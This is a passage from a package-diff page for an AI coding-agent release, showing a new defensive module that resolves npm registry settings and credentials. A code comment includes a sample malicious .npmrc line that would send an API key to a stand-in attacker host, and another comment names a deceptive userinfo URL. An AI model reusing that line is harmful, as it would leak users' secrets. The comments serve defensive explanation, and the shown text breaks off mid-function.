@gajae-code/coding-agent 0.12.11 → 0.12.12
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/CHANGELOG.md +38 -0
- package/dist/types/cli/notify-cli.d.ts +42 -1
- package/dist/types/cli/update-cli.d.ts +9 -3
- package/dist/types/commands/notify.d.ts +6 -0
- package/dist/types/config/file-lock.d.ts +3 -0
- package/dist/types/coordinator/contract.d.ts +1 -1
- package/dist/types/coordinator-mcp/question-state.d.ts +3 -1
- package/dist/types/extensibility/extensions/index.d.ts +1 -0
- package/dist/types/extensibility/extensions/ouroboros-ooo-bridge.d.ts +13 -0
- package/dist/types/extensibility/extensions/prefix-command-bridge.d.ts +0 -1
- package/dist/types/extensibility/extensions/types.d.ts +2 -0
- package/dist/types/main.d.ts +6 -2
- package/dist/types/modes/components/session-selector.d.ts +1 -1
- package/dist/types/modes/utils/host-status.d.ts +23 -0
- package/dist/types/runtime-mcp/types.d.ts +2 -0
- package/dist/types/sdk/broker/lifecycle.d.ts +12 -0
- package/dist/types/sdk/bus/chat-daemon-cli.d.ts +3 -0
- package/dist/types/sdk/bus/chat-daemon-command-channel.d.ts +244 -0
- package/dist/types/sdk/bus/chat-daemon-control.d.ts +11 -1
- package/dist/types/sdk/bus/chat-daemon-runtime.d.ts +7 -0
- package/dist/types/sdk/bus/control-plane-frames.d.ts +43 -0
- package/dist/types/sdk/bus/conversation-store.d.ts +18 -0
- package/dist/types/sdk/bus/existing-thread-readiness.d.ts +71 -0
- package/dist/types/sdk/bus/notification-service.d.ts +10 -0
- package/dist/types/sdk/bus/slack-daemon.d.ts +27 -0
- package/dist/types/sdk/bus/slack-live-provider.d.ts +11 -0
- package/dist/types/sdk/bus/slack-provider.d.ts +14 -0
- package/dist/types/sdk/bus/slack-thread-binding.d.ts +140 -0
- package/dist/types/sdk/bus/telegram-daemon-cli.d.ts +2 -0
- package/dist/types/sdk/bus/telegram-daemon-contract.d.ts +24 -7
- package/dist/types/sdk/bus/telegram-daemon.d.ts +104 -16
- package/dist/types/sdk/bus/telegram-reference.d.ts +10 -1
- package/dist/types/sdk/bus/topic-registry.d.ts +130 -85
- package/dist/types/sdk/host/host.d.ts +52 -0
- package/dist/types/sdk/lifecycle-session.d.ts +6 -0
- package/dist/types/sdk/session-activation.d.ts +41 -0
- package/dist/types/sdk/session.d.ts +18 -0
- package/dist/types/sdk/startup-capability.d.ts +8 -1
- package/dist/types/session/agent-session.d.ts +7 -0
- package/dist/types/session/artifacts.d.ts +2 -2
- package/dist/types/session/session-manager.d.ts +23 -5
- package/dist/types/tools/index.d.ts +8 -0
- package/dist/types/utils/npm-registry.d.ts +71 -0
- package/examples/extensions/README.md +38 -4
- package/examples/extensions/ooo-bridge.ts +15 -0
- package/package.json +8 -8
- package/scripts/generate-sdk-operation-inventory.ts +4 -0
- package/src/async/job-manager.ts +9 -2
- package/src/cli/notify-cli.ts +226 -2
- package/src/cli/update-cli.ts +90 -23
- package/src/commands/notify.ts +27 -3
- package/src/commands/sdk.ts +1 -0
- package/src/config/file-lock-gc.ts +18 -0
- package/src/config/file-lock.ts +61 -16
- package/src/config/model-profiles.ts +31 -15
- package/src/coordinator/contract.ts +1 -0
- package/src/coordinator-mcp/question-state.ts +2 -0
- package/src/coordinator-mcp/server.ts +358 -7
- package/src/defaults/gjc/skills/ultragoal/SKILL.md +2 -0
- package/src/extensibility/extensions/index.ts +1 -0
- package/src/extensibility/extensions/ouroboros-ooo-bridge.ts +235 -0
- package/src/extensibility/extensions/prefix-command-bridge.ts +4 -9
- package/src/extensibility/extensions/runner.ts +15 -2
- package/src/extensibility/extensions/types.ts +2 -0
- package/src/gjc-runtime/launch-tmux.ts +53 -1
- package/src/internal-urls/docs-index.generated.ts +11 -10
- package/src/main.ts +203 -67
- package/src/modes/DESIGN.md +8 -5
- package/src/modes/components/footer.ts +10 -18
- package/src/modes/components/session-selector.ts +26 -3
- package/src/modes/components/status-line/gh.ts +23 -2
- package/src/modes/controllers/event-controller.ts +3 -0
- package/src/modes/controllers/extension-ui-controller.ts +2 -0
- package/src/modes/controllers/input-controller.ts +11 -0
- package/src/modes/controllers/selector-controller.ts +8 -2
- package/src/modes/interactive-mode.ts +7 -1
- package/src/modes/utils/host-status.ts +38 -0
- package/src/runtime-mcp/types.ts +2 -0
- package/src/sdk/broker/lifecycle.ts +60 -3
- package/src/sdk/bus/chat-daemon-cli.ts +42 -0
- package/src/sdk/bus/chat-daemon-command-channel.ts +921 -0
- package/src/sdk/bus/chat-daemon-control.ts +16 -3
- package/src/sdk/bus/chat-daemon-runtime.ts +257 -21
- package/src/sdk/bus/control-plane-frames.ts +51 -0
- package/src/sdk/bus/conversation-store.ts +29 -1
- package/src/sdk/bus/existing-thread-readiness.ts +155 -0
- package/src/sdk/bus/index.ts +70 -0
- package/src/sdk/bus/notification-service.ts +28 -1
- package/src/sdk/bus/rich-render.ts +3 -2
- package/src/sdk/bus/slack-daemon.ts +99 -4
- package/src/sdk/bus/slack-live-provider.ts +32 -2
- package/src/sdk/bus/slack-provider.ts +11 -0
- package/src/sdk/bus/slack-thread-binding.ts +641 -0
- package/src/sdk/bus/telegram-daemon-cli.ts +11 -0
- package/src/sdk/bus/telegram-daemon-contract.ts +24 -7
- package/src/sdk/bus/telegram-daemon.ts +1961 -497
- package/src/sdk/bus/telegram-reference.ts +42 -6
- package/src/sdk/bus/topic-registry.ts +674 -181
- package/src/sdk/host/host.ts +180 -1
- package/src/sdk/lifecycle-session.ts +8 -2
- package/src/sdk/protocol/operation-inventory.generated.json +22 -0
- package/src/sdk/session-activation.ts +127 -0
- package/src/sdk/session.ts +139 -28
- package/src/sdk/startup-capability.ts +10 -1
- package/src/session/agent-session.ts +220 -9
- package/src/session/artifacts.ts +56 -13
- package/src/session/internal/managed-session-storage.ts +206 -7
- package/src/session/session-manager.ts +148 -38
- package/src/setup/provider-presets.json +1 -1
- package/src/task/index.ts +92 -44
- package/src/tools/index.ts +8 -0
- package/src/utils/npm-registry.ts +660 -0
|
@@ -0,0 +1,660 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* npm registry resolution for update checks.
|
|
3
|
+
*
|
|
4
|
+
* The install half of `gjc update` shells out to bun/npm, so it already honours
|
|
5
|
+
* whatever registry the user configured. The *version check* half did not — it
|
|
6
|
+
* fetched `registry.npmjs.org` directly. On networks that mirror or block the
|
|
7
|
+
* public registry (corporate Nexus/Artifactory proxies, air-gapped setups) the
|
|
8
|
+
* check fails even though the install that follows it would have worked, so
|
|
9
|
+
* `gjc update` reports `Failed to fetch release info:` and exits 1.
|
|
10
|
+
*
|
|
11
|
+
* This module resolves the registry — and its credentials — the way npm does,
|
|
12
|
+
* so the check agrees with the install.
|
|
13
|
+
*
|
|
14
|
+
* Two deliberate departures from npm, both because this runs inside an agent
|
|
15
|
+
* the user launches in repositories they did not write:
|
|
16
|
+
*
|
|
17
|
+
* - No project (`<cwd>/.npmrc`) layer. A repository must not be able to name
|
|
18
|
+
* the host this process talks to, nor supply an `${ENV}`-expanded token to
|
|
19
|
+
* send there. npm agrees for this case anyway: it skips project config in
|
|
20
|
+
* global mode, and the check exists to gate a global install.
|
|
21
|
+
* - The environment is read through `$credentialEnv`, which excludes the
|
|
22
|
+
* `cwd/.env` overlay Bun merges into `Bun.env`, and is distrusted entirely
|
|
23
|
+
* when an npm lifecycle is detected, because npm synthesizes `npm_config_*`
|
|
24
|
+
* from the project `.npmrc` with `${VAR}` already expanded.
|
|
25
|
+
*
|
|
26
|
+
* Not read, so the scope claim is not overstated: proxy configuration (`proxy`,
|
|
27
|
+
* `https-proxy`, `noproxy`) lands in the parsed map but nothing consumes it, and
|
|
28
|
+
* `bunfig.toml` is not parsed at all. `<cwd>/bunfig.toml` is excluded for the
|
|
29
|
+
* same reason as the project `.npmrc`; `~/.bunfig.toml` is simply unimplemented,
|
|
30
|
+
* so a mirror declared only there is checked against the public registry while
|
|
31
|
+
* `bun install -g` installs from the mirror.
|
|
32
|
+
*/
|
|
33
|
+
import * as os from "node:os";
|
|
34
|
+
import * as path from "node:path";
|
|
35
|
+
import { $credentialEnv, isEnoent } from "@gajae-code/utils";
|
|
36
|
+
|
|
37
|
+
export const DEFAULT_NPM_REGISTRY = "https://registry.npmjs.org";
|
|
38
|
+
|
|
39
|
+
const DEFAULT_TIMEOUT_MS = 10_000;
|
|
40
|
+
const PACKUMENT_ACCEPT = "application/vnd.npm.install-v1+json, application/json";
|
|
41
|
+
|
|
42
|
+
export type NpmConfigOrigin = "env" | "user" | "global";
|
|
43
|
+
|
|
44
|
+
/** Which package manager will run the install this check is gating. */
|
|
45
|
+
export type Installer = "bun" | "npm";
|
|
46
|
+
|
|
47
|
+
/** Injection points so tests never read the real environment. */
|
|
48
|
+
export interface NpmRegistryEnvironment {
|
|
49
|
+
/** Manager that will perform the install; decides Bun-vs-npm config priority. */
|
|
50
|
+
installer?: Installer;
|
|
51
|
+
/** Resolves an executable on PATH; used to locate npm's effective prefix. */
|
|
52
|
+
whichExecutable?: (name: string) => string | undefined;
|
|
53
|
+
/** Defaults to `$credentialEnv`, which excludes the caller's `cwd/.env`. */
|
|
54
|
+
lookupEnv?: (name: string) => string | undefined;
|
|
55
|
+
homeDir?: string;
|
|
56
|
+
platform?: NodeJS.Platform;
|
|
57
|
+
readFile?: (filePath: string) => Promise<string | undefined>;
|
|
58
|
+
}
|
|
59
|
+
|
|
60
|
+
export interface ResolvedNpmRegistry {
|
|
61
|
+
registry: string;
|
|
62
|
+
headers: Record<string, string>;
|
|
63
|
+
origin: NpmConfigOrigin | "default";
|
|
64
|
+
/** Where the value came from, e.g. `$npm_config_registry` or `~/.npmrc`. */
|
|
65
|
+
source: string;
|
|
66
|
+
/** Config files that exist but could not be read. */
|
|
67
|
+
warnings: string[];
|
|
68
|
+
}
|
|
69
|
+
|
|
70
|
+
export interface LatestPackageVersion {
|
|
71
|
+
version: string;
|
|
72
|
+
registry: string;
|
|
73
|
+
/** Config problems that did not stop the lookup but changed its outcome. */
|
|
74
|
+
warnings: string[];
|
|
75
|
+
}
|
|
76
|
+
|
|
77
|
+
export interface FetchResponseLike {
|
|
78
|
+
ok: boolean;
|
|
79
|
+
status: number;
|
|
80
|
+
statusText: string;
|
|
81
|
+
json: () => Promise<unknown>;
|
|
82
|
+
}
|
|
83
|
+
|
|
84
|
+
export type FetchLike = (
|
|
85
|
+
input: string,
|
|
86
|
+
init?: { headers?: Record<string, string>; signal?: AbortSignal },
|
|
87
|
+
) => Promise<FetchResponseLike>;
|
|
88
|
+
|
|
89
|
+
export interface NpmRegistryLookupOptions extends NpmRegistryEnvironment {
|
|
90
|
+
fetchImpl?: FetchLike;
|
|
91
|
+
timeoutMs?: number;
|
|
92
|
+
}
|
|
93
|
+
|
|
94
|
+
/** Thrown when a registry is configured but unusable, so it is never silently ignored. */
|
|
95
|
+
export class NpmRegistryConfigError extends Error {}
|
|
96
|
+
|
|
97
|
+
interface ConfigValue {
|
|
98
|
+
value: string;
|
|
99
|
+
/** The exact variable or file the value came from, for diagnostics. */
|
|
100
|
+
source: string;
|
|
101
|
+
}
|
|
102
|
+
|
|
103
|
+
interface ConfigLayer {
|
|
104
|
+
origin: NpmConfigOrigin;
|
|
105
|
+
/** True when the layer is repository-influenced and must not be consulted. */
|
|
106
|
+
untrusted?: boolean;
|
|
107
|
+
get: (key: string) => ConfigValue | undefined;
|
|
108
|
+
}
|
|
109
|
+
|
|
110
|
+
interface ConfigEntry {
|
|
111
|
+
value: string;
|
|
112
|
+
origin: NpmConfigOrigin;
|
|
113
|
+
source: string;
|
|
114
|
+
}
|
|
115
|
+
|
|
116
|
+
async function defaultReadFile(filePath: string): Promise<string | undefined> {
|
|
117
|
+
try {
|
|
118
|
+
return await Bun.file(filePath).text();
|
|
119
|
+
} catch (err) {
|
|
120
|
+
if (isEnoent(err)) return undefined;
|
|
121
|
+
throw err;
|
|
122
|
+
}
|
|
123
|
+
}
|
|
124
|
+
|
|
125
|
+
/** Expand `${VAR}` references the way npm expands them while reading `.npmrc`. */
|
|
126
|
+
function expandEnvRefs(value: string, lookupEnv: (name: string) => string | undefined): string {
|
|
127
|
+
return value.replace(/\$\{([^}]+)\}/g, (match, name: string) => lookupEnv(name) ?? match);
|
|
128
|
+
}
|
|
129
|
+
|
|
130
|
+
/**
|
|
131
|
+
* Apply ini value rules: a quoted value is taken verbatim, an unquoted one ends
|
|
132
|
+
* at the first unescaped `#` or `;`. Without this, `registry=https://host # note`
|
|
133
|
+
* survives as a URL whose comment becomes a fragment, and the request 404s
|
|
134
|
+
* against a registry that installs fine.
|
|
135
|
+
*/
|
|
136
|
+
function unquoteIniValue(raw: string): string {
|
|
137
|
+
const trimmed = raw.trim();
|
|
138
|
+
const quote = trimmed[0];
|
|
139
|
+
if ((quote === '"' || quote === "'") && trimmed.length >= 2 && trimmed.endsWith(quote)) {
|
|
140
|
+
return trimmed.slice(1, -1);
|
|
141
|
+
}
|
|
142
|
+
|
|
143
|
+
let out = "";
|
|
144
|
+
for (let i = 0; i < trimmed.length; i++) {
|
|
145
|
+
const char = trimmed[i];
|
|
146
|
+
if (char === "\\" && (trimmed[i + 1] === "#" || trimmed[i + 1] === ";" || trimmed[i + 1] === "\\")) {
|
|
147
|
+
out += trimmed[++i];
|
|
148
|
+
continue;
|
|
149
|
+
}
|
|
150
|
+
if (char === "#" || char === ";") break;
|
|
151
|
+
out += char;
|
|
152
|
+
}
|
|
153
|
+
return out.trim();
|
|
154
|
+
}
|
|
155
|
+
|
|
156
|
+
/**
|
|
157
|
+
* Parse an `.npmrc` into raw key/value pairs. Later duplicates win, as in npm.
|
|
158
|
+
*
|
|
159
|
+
* @internal Exported for tests; production code goes through `resolveNpmRegistry`.
|
|
160
|
+
*/
|
|
161
|
+
export function parseNpmrc(contents: string, lookupEnv: (name: string) => string | undefined = () => undefined) {
|
|
162
|
+
const values = new Map<string, string>();
|
|
163
|
+
let inSection = false;
|
|
164
|
+
for (const rawLine of contents.replace(/^\uFEFF/, "").split(/\r?\n/)) {
|
|
165
|
+
const line = rawLine.trim();
|
|
166
|
+
if (!line || line.startsWith("#") || line.startsWith(";")) continue;
|
|
167
|
+
// `[section]` opens a nested ini table. npm reads only top-level keys, so
|
|
168
|
+
// everything inside a section is inactive config, not a top-level default.
|
|
169
|
+
if (line.startsWith("[")) {
|
|
170
|
+
inSection = true;
|
|
171
|
+
continue;
|
|
172
|
+
}
|
|
173
|
+
if (inSection) continue;
|
|
174
|
+
const separator = line.indexOf("=");
|
|
175
|
+
if (separator <= 0) continue;
|
|
176
|
+
const key = line.slice(0, separator).trim();
|
|
177
|
+
if (key) values.set(key, expandEnvRefs(unquoteIniValue(line.slice(separator + 1)), lookupEnv));
|
|
178
|
+
}
|
|
179
|
+
return values;
|
|
180
|
+
}
|
|
181
|
+
|
|
182
|
+
/**
|
|
183
|
+
* npm exports config as `npm_config_<key>`, lowercasing ordinary keys but
|
|
184
|
+
* preserving the case of `//host/path/:field` credential keys ("nerf darts").
|
|
185
|
+
*/
|
|
186
|
+
function envNamesFor(key: string): string[] {
|
|
187
|
+
const names = [`npm_config_${key}`];
|
|
188
|
+
if (!key.startsWith("//") && !key.startsWith("@")) names.push(`NPM_CONFIG_${key.toUpperCase()}`);
|
|
189
|
+
return names;
|
|
190
|
+
}
|
|
191
|
+
|
|
192
|
+
/**
|
|
193
|
+
* npm's own lifecycle synthesizes `npm_config_*` from the *project* `.npmrc`,
|
|
194
|
+
* expanding `${VAR}` against the parent environment on the way. Launching GJC
|
|
195
|
+
* through `npm run` inside a cloned repository therefore hands us a registry —
|
|
196
|
+
* and credentials — that the repository chose:
|
|
197
|
+
*
|
|
198
|
+
* .npmrc: registry=https://svc:${ANTHROPIC_API_KEY}@collect.attacker.example/
|
|
199
|
+
* child: npm_config_registry=https://svc:<the real key>@collect.attacker.example/
|
|
200
|
+
*
|
|
201
|
+
* Excluding the project `.npmrc` layer does not close that door, because npm
|
|
202
|
+
* re-opens it through the environment. When an npm lifecycle is detected the
|
|
203
|
+
* environment is treated as repository-influenced and contributes nothing; the
|
|
204
|
+
* user-owned file layers still apply, so a legitimate mirror keeps working.
|
|
205
|
+
*/
|
|
206
|
+
function launchedByNpmLifecycle(lookupEnv: (name: string) => string | undefined): boolean {
|
|
207
|
+
return Boolean(lookupEnv("npm_lifecycle_event") || lookupEnv("npm_execpath") || lookupEnv("npm_command"));
|
|
208
|
+
}
|
|
209
|
+
|
|
210
|
+
function createEnvLayer(
|
|
211
|
+
lookupEnv: (name: string) => string | undefined,
|
|
212
|
+
installer: Installer | undefined,
|
|
213
|
+
): ConfigLayer {
|
|
214
|
+
const untrusted = launchedByNpmLifecycle(lookupEnv);
|
|
215
|
+
return {
|
|
216
|
+
origin: "env",
|
|
217
|
+
untrusted,
|
|
218
|
+
get: key => {
|
|
219
|
+
if (untrusted) return undefined;
|
|
220
|
+
if (key === "registry") {
|
|
221
|
+
// Only prefer Bun's variable when Bun is the manager that will run the
|
|
222
|
+
// install; the npm-managed path ignores BUN_CONFIG_REGISTRY entirely,
|
|
223
|
+
// and preferring it there makes the check disagree with the install.
|
|
224
|
+
const bun = lookupEnv("BUN_CONFIG_REGISTRY")?.trim();
|
|
225
|
+
if (bun && installer !== "npm") return { value: bun, source: "$BUN_CONFIG_REGISTRY" };
|
|
226
|
+
for (const name of envNamesFor(key)) {
|
|
227
|
+
const value = lookupEnv(name)?.trim();
|
|
228
|
+
if (value) return { value, source: `$${name}` };
|
|
229
|
+
}
|
|
230
|
+
if (bun) return { value: bun, source: "$BUN_CONFIG_REGISTRY" };
|
|
231
|
+
return undefined;
|
|
232
|
+
}
|
|
233
|
+
for (const name of envNamesFor(key)) {
|
|
234
|
+
const value = lookupEnv(name)?.trim();
|
|
235
|
+
// npm skips empty env config; without this an exported-but-unset
|
|
236
|
+
// `npm_config_registry=` would mask the user's `.npmrc`.
|
|
237
|
+
if (value) return { value, source: `$${name}` };
|
|
238
|
+
}
|
|
239
|
+
return undefined;
|
|
240
|
+
},
|
|
241
|
+
};
|
|
242
|
+
}
|
|
243
|
+
|
|
244
|
+
function expandHome(filePath: string, homeDir: string): string {
|
|
245
|
+
if (filePath === "~") return homeDir;
|
|
246
|
+
if (filePath.startsWith("~/") || filePath.startsWith("~\\")) return path.join(homeDir, filePath.slice(2));
|
|
247
|
+
return filePath;
|
|
248
|
+
}
|
|
249
|
+
|
|
250
|
+
function globalNpmrcCandidates(
|
|
251
|
+
env: ConfigLayer,
|
|
252
|
+
lookupEnv: (name: string) => string | undefined,
|
|
253
|
+
homeDir: string,
|
|
254
|
+
platform: NodeJS.Platform,
|
|
255
|
+
whichExecutable: (name: string) => string | undefined,
|
|
256
|
+
): string[] {
|
|
257
|
+
const configured = env.get("globalconfig")?.value;
|
|
258
|
+
if (configured) return [expandHome(configured, homeDir)];
|
|
259
|
+
|
|
260
|
+
const prefix = env.get("prefix")?.value;
|
|
261
|
+
if (prefix) return [path.join(expandHome(prefix, homeDir), "etc", "npmrc")];
|
|
262
|
+
|
|
263
|
+
// `npm config set registry <url> --location=global` writes under the install
|
|
264
|
+
// prefix, and $npm_config_globalconfig only exists inside `npm run`.
|
|
265
|
+
// npm's global config lives under its *effective* prefix, which for nvm, fnm,
|
|
266
|
+
// Volta, or any custom install is nowhere near the fixed paths below. Derive
|
|
267
|
+
// it from where npm actually is: <prefix>/bin/npm -> <prefix>/etc/npmrc.
|
|
268
|
+
const candidates: string[] = [];
|
|
269
|
+
const npmPath = whichExecutable("npm");
|
|
270
|
+
if (npmPath) candidates.push(path.join(path.dirname(path.dirname(npmPath)), "etc", "npmrc"));
|
|
271
|
+
|
|
272
|
+
if (platform === "win32") {
|
|
273
|
+
// npm derives this from %APPDATA%, which is not an npm_config_* variable.
|
|
274
|
+
const appData = env.get("appdata")?.value ?? lookupEnv("APPDATA")?.trim();
|
|
275
|
+
if (appData) candidates.push(path.join(appData, "npm", "etc", "npmrc"));
|
|
276
|
+
return candidates;
|
|
277
|
+
}
|
|
278
|
+
candidates.push("/usr/local/etc/npmrc", "/opt/homebrew/etc/npmrc", "/etc/npmrc");
|
|
279
|
+
return candidates;
|
|
280
|
+
}
|
|
281
|
+
|
|
282
|
+
async function createFileLayer(
|
|
283
|
+
origin: NpmConfigOrigin,
|
|
284
|
+
candidates: string[],
|
|
285
|
+
readFile: (filePath: string) => Promise<string | undefined>,
|
|
286
|
+
lookupEnv: (name: string) => string | undefined,
|
|
287
|
+
warnings: string[],
|
|
288
|
+
): Promise<ConfigLayer | undefined> {
|
|
289
|
+
for (const filePath of candidates) {
|
|
290
|
+
let contents: string | undefined;
|
|
291
|
+
try {
|
|
292
|
+
contents = await readFile(filePath);
|
|
293
|
+
} catch (err) {
|
|
294
|
+
// A file that exists but cannot be read is a silent registry loss otherwise.
|
|
295
|
+
warnings.push(`${filePath} could not be read: ${err instanceof Error ? err.message : String(err)}`);
|
|
296
|
+
continue;
|
|
297
|
+
}
|
|
298
|
+
if (contents === undefined) continue;
|
|
299
|
+
const values = parseNpmrc(contents, lookupEnv);
|
|
300
|
+
return {
|
|
301
|
+
origin,
|
|
302
|
+
get: key => {
|
|
303
|
+
const value = values.get(key);
|
|
304
|
+
return value === undefined ? undefined : { value, source: filePath };
|
|
305
|
+
},
|
|
306
|
+
};
|
|
307
|
+
}
|
|
308
|
+
return undefined;
|
|
309
|
+
}
|
|
310
|
+
|
|
311
|
+
async function collectLayers(
|
|
312
|
+
environment: NpmRegistryEnvironment,
|
|
313
|
+
warnings: string[],
|
|
314
|
+
readFailures: string[],
|
|
315
|
+
): Promise<ConfigLayer[]> {
|
|
316
|
+
const lookupEnv = environment.lookupEnv ?? $credentialEnv;
|
|
317
|
+
const readFile = environment.readFile ?? defaultReadFile;
|
|
318
|
+
const platform = environment.platform ?? process.platform;
|
|
319
|
+
let homeDir: string;
|
|
320
|
+
try {
|
|
321
|
+
homeDir = environment.homeDir ?? os.homedir();
|
|
322
|
+
} catch {
|
|
323
|
+
homeDir = "";
|
|
324
|
+
}
|
|
325
|
+
|
|
326
|
+
const whichExecutable = environment.whichExecutable ?? ((name: string) => Bun.which(name) ?? undefined);
|
|
327
|
+
const env = createEnvLayer(lookupEnv, environment.installer);
|
|
328
|
+
if (env.untrusted) {
|
|
329
|
+
warnings.push(
|
|
330
|
+
"npm_config_* was ignored because GJC was launched by an npm lifecycle, " +
|
|
331
|
+
"where those variables can be synthesized from a repository .npmrc",
|
|
332
|
+
);
|
|
333
|
+
}
|
|
334
|
+
const layers: ConfigLayer[] = [env];
|
|
335
|
+
|
|
336
|
+
const userConfig = env.get("userconfig")?.value;
|
|
337
|
+
const userCandidates = userConfig
|
|
338
|
+
? [expandHome(userConfig, homeDir)]
|
|
339
|
+
: homeDir
|
|
340
|
+
? [path.join(homeDir, ".npmrc")]
|
|
341
|
+
: [];
|
|
342
|
+
const user = await createFileLayer("user", userCandidates, readFile, lookupEnv, readFailures);
|
|
343
|
+
if (user) layers.push(user);
|
|
344
|
+
|
|
345
|
+
const globalCandidates = globalNpmrcCandidates(env, lookupEnv, homeDir, platform, whichExecutable);
|
|
346
|
+
const global = await createFileLayer("global", globalCandidates, readFile, lookupEnv, readFailures);
|
|
347
|
+
if (global) layers.push(global);
|
|
348
|
+
|
|
349
|
+
return layers;
|
|
350
|
+
}
|
|
351
|
+
|
|
352
|
+
function lookupConfig(layers: ConfigLayer[], key: string): ConfigEntry | undefined {
|
|
353
|
+
for (const layer of layers) {
|
|
354
|
+
const found = layer.get(key);
|
|
355
|
+
if (found && found.value !== "") {
|
|
356
|
+
return { value: found.value, origin: layer.origin, source: found.source };
|
|
357
|
+
}
|
|
358
|
+
}
|
|
359
|
+
return undefined;
|
|
360
|
+
}
|
|
361
|
+
|
|
362
|
+
/** `@scope/name` → `@scope`. A name like `@scope` with no slash has no scope. */
|
|
363
|
+
function packageScope(packageName: string): string | undefined {
|
|
364
|
+
const slash = packageName.indexOf("/");
|
|
365
|
+
return packageName.startsWith("@") && slash > 1 ? packageName.slice(0, slash) : undefined;
|
|
366
|
+
}
|
|
367
|
+
|
|
368
|
+
interface NormalizedRegistry {
|
|
369
|
+
registry: string;
|
|
370
|
+
/** Basic credentials lifted out of a `https://user:pass@host` registry URL. */
|
|
371
|
+
userinfo?: string;
|
|
372
|
+
}
|
|
373
|
+
|
|
374
|
+
/** `decodeURIComponent` throws on a literal `%`, which survives WHATWG userinfo parsing. */
|
|
375
|
+
function decodeComponent(value: string): string {
|
|
376
|
+
try {
|
|
377
|
+
return decodeURIComponent(value);
|
|
378
|
+
} catch {
|
|
379
|
+
return value;
|
|
380
|
+
}
|
|
381
|
+
}
|
|
382
|
+
|
|
383
|
+
/**
|
|
384
|
+
* Hide the authority of a value that failed validation, so a misconfigured
|
|
385
|
+
* `registry=user:secret@host` cannot be echoed into a terminal or a bug report.
|
|
386
|
+
*
|
|
387
|
+
* The value is by definition unparseable, so a leading `svc-npm:` is as likely
|
|
388
|
+
* to be a username as a scheme. Only the unambiguous `scheme://` form is kept;
|
|
389
|
+
* everything else before the authority's last `@` is dropped.
|
|
390
|
+
*/
|
|
391
|
+
function redactAuthority(value: string): string {
|
|
392
|
+
const scheme = /^[a-z][a-z0-9+.-]*:\/\//i.exec(value)?.[0] ?? "";
|
|
393
|
+
const rest = value.slice(scheme.length);
|
|
394
|
+
const authorityEnd = rest.search(/[/?#]/);
|
|
395
|
+
const authority = authorityEnd === -1 ? rest : rest.slice(0, authorityEnd);
|
|
396
|
+
const at = authority.lastIndexOf("@");
|
|
397
|
+
if (at !== -1) return `${scheme}***@${rest.slice(at + 1)}`;
|
|
398
|
+
|
|
399
|
+
// A single-slash scheme such as `ssh:/user:pw@host` puts the credential
|
|
400
|
+
// outside the authority window; drop everything before the last `@` anyway.
|
|
401
|
+
const tail = value.lastIndexOf("@");
|
|
402
|
+
return tail === -1 ? value : `***@${value.slice(tail + 1)}`;
|
|
403
|
+
}
|
|
404
|
+
|
|
405
|
+
/**
|
|
406
|
+
* Validate the registry and lift any embedded credentials out of it, so a
|
|
407
|
+
* password in the URL can never reach a request path, an error message, or a
|
|
408
|
+
* pasted bug report.
|
|
409
|
+
*/
|
|
410
|
+
function normalizeRegistry(value: string): NormalizedRegistry | undefined {
|
|
411
|
+
const trimmed = value.trim();
|
|
412
|
+
if (!trimmed) return undefined;
|
|
413
|
+
|
|
414
|
+
let url: URL;
|
|
415
|
+
try {
|
|
416
|
+
url = new URL(trimmed);
|
|
417
|
+
} catch {
|
|
418
|
+
return undefined;
|
|
419
|
+
}
|
|
420
|
+
if (url.protocol !== "http:" && url.protocol !== "https:") return undefined;
|
|
421
|
+
|
|
422
|
+
// A bare username with no password is never a real credential — it is the
|
|
423
|
+
// shape of `https://trusted.example.com@attacker.example.com`, where the
|
|
424
|
+
// "user" is the host the reader's eye stops at. Strip it, promote nothing.
|
|
425
|
+
let userinfo: string | undefined;
|
|
426
|
+
if (url.password) {
|
|
427
|
+
userinfo = Buffer.from(`${decodeComponent(url.username)}:${decodeComponent(url.password)}`).toString("base64");
|
|
428
|
+
}
|
|
429
|
+
url.username = "";
|
|
430
|
+
url.password = "";
|
|
431
|
+
|
|
432
|
+
return { registry: url.toString().replace(/\/+$/, ""), userinfo };
|
|
433
|
+
}
|
|
434
|
+
|
|
435
|
+
/**
|
|
436
|
+
* Build the credential lookup keys npm calls "nerf darts": `//host/path/`,
|
|
437
|
+
* walking up one path segment at a time until the bare host.
|
|
438
|
+
*
|
|
439
|
+
* @internal Exported for tests; production code goes through `resolveNpmRegistry`.
|
|
440
|
+
*/
|
|
441
|
+
export function credentialPrefixes(registry: string): string[] {
|
|
442
|
+
let url: URL;
|
|
443
|
+
try {
|
|
444
|
+
url = new URL(registry);
|
|
445
|
+
} catch {
|
|
446
|
+
return [];
|
|
447
|
+
}
|
|
448
|
+
const segments = url.pathname.split("/").filter(Boolean);
|
|
449
|
+
const prefixes: string[] = [];
|
|
450
|
+
for (let i = segments.length; i >= 0; i--) {
|
|
451
|
+
const pathname = segments.slice(0, i).join("/");
|
|
452
|
+
prefixes.push(`//${url.host}/${pathname ? `${pathname}/` : ""}`);
|
|
453
|
+
}
|
|
454
|
+
return prefixes;
|
|
455
|
+
}
|
|
456
|
+
|
|
457
|
+
/** Reject a `_password` that is not really base64: decoding never throws, it corrupts. */
|
|
458
|
+
function decodeBase64Password(password: string): string | undefined {
|
|
459
|
+
const decoded = Buffer.from(password, "base64");
|
|
460
|
+
if (decoded.toString("base64").replace(/=+$/, "") !== password.replace(/=+$/, "")) return undefined;
|
|
461
|
+
return decoded.toString("utf8");
|
|
462
|
+
}
|
|
463
|
+
|
|
464
|
+
function isPlaintextRemote(registry: string): boolean {
|
|
465
|
+
const url = new URL(registry);
|
|
466
|
+
if (url.protocol !== "http:") return false;
|
|
467
|
+
const host = url.hostname;
|
|
468
|
+
return host !== "localhost" && host !== "127.0.0.1" && host !== "[::1]";
|
|
469
|
+
}
|
|
470
|
+
|
|
471
|
+
function resolveAuthHeaders(
|
|
472
|
+
registry: string,
|
|
473
|
+
userinfo: string | undefined,
|
|
474
|
+
layers: ConfigLayer[],
|
|
475
|
+
warnings: string[],
|
|
476
|
+
): Record<string, string> {
|
|
477
|
+
// No credential of any form reaches a remote plaintext origin. This decision
|
|
478
|
+
// comes first so it also covers credentials embedded in the registry URL,
|
|
479
|
+
// which previously took an early return and bypassed it entirely.
|
|
480
|
+
if (isPlaintextRemote(registry)) {
|
|
481
|
+
const configured = userinfo !== undefined || credentialPrefixes(registry).some(p => hasCredential(layers, p));
|
|
482
|
+
if (configured) {
|
|
483
|
+
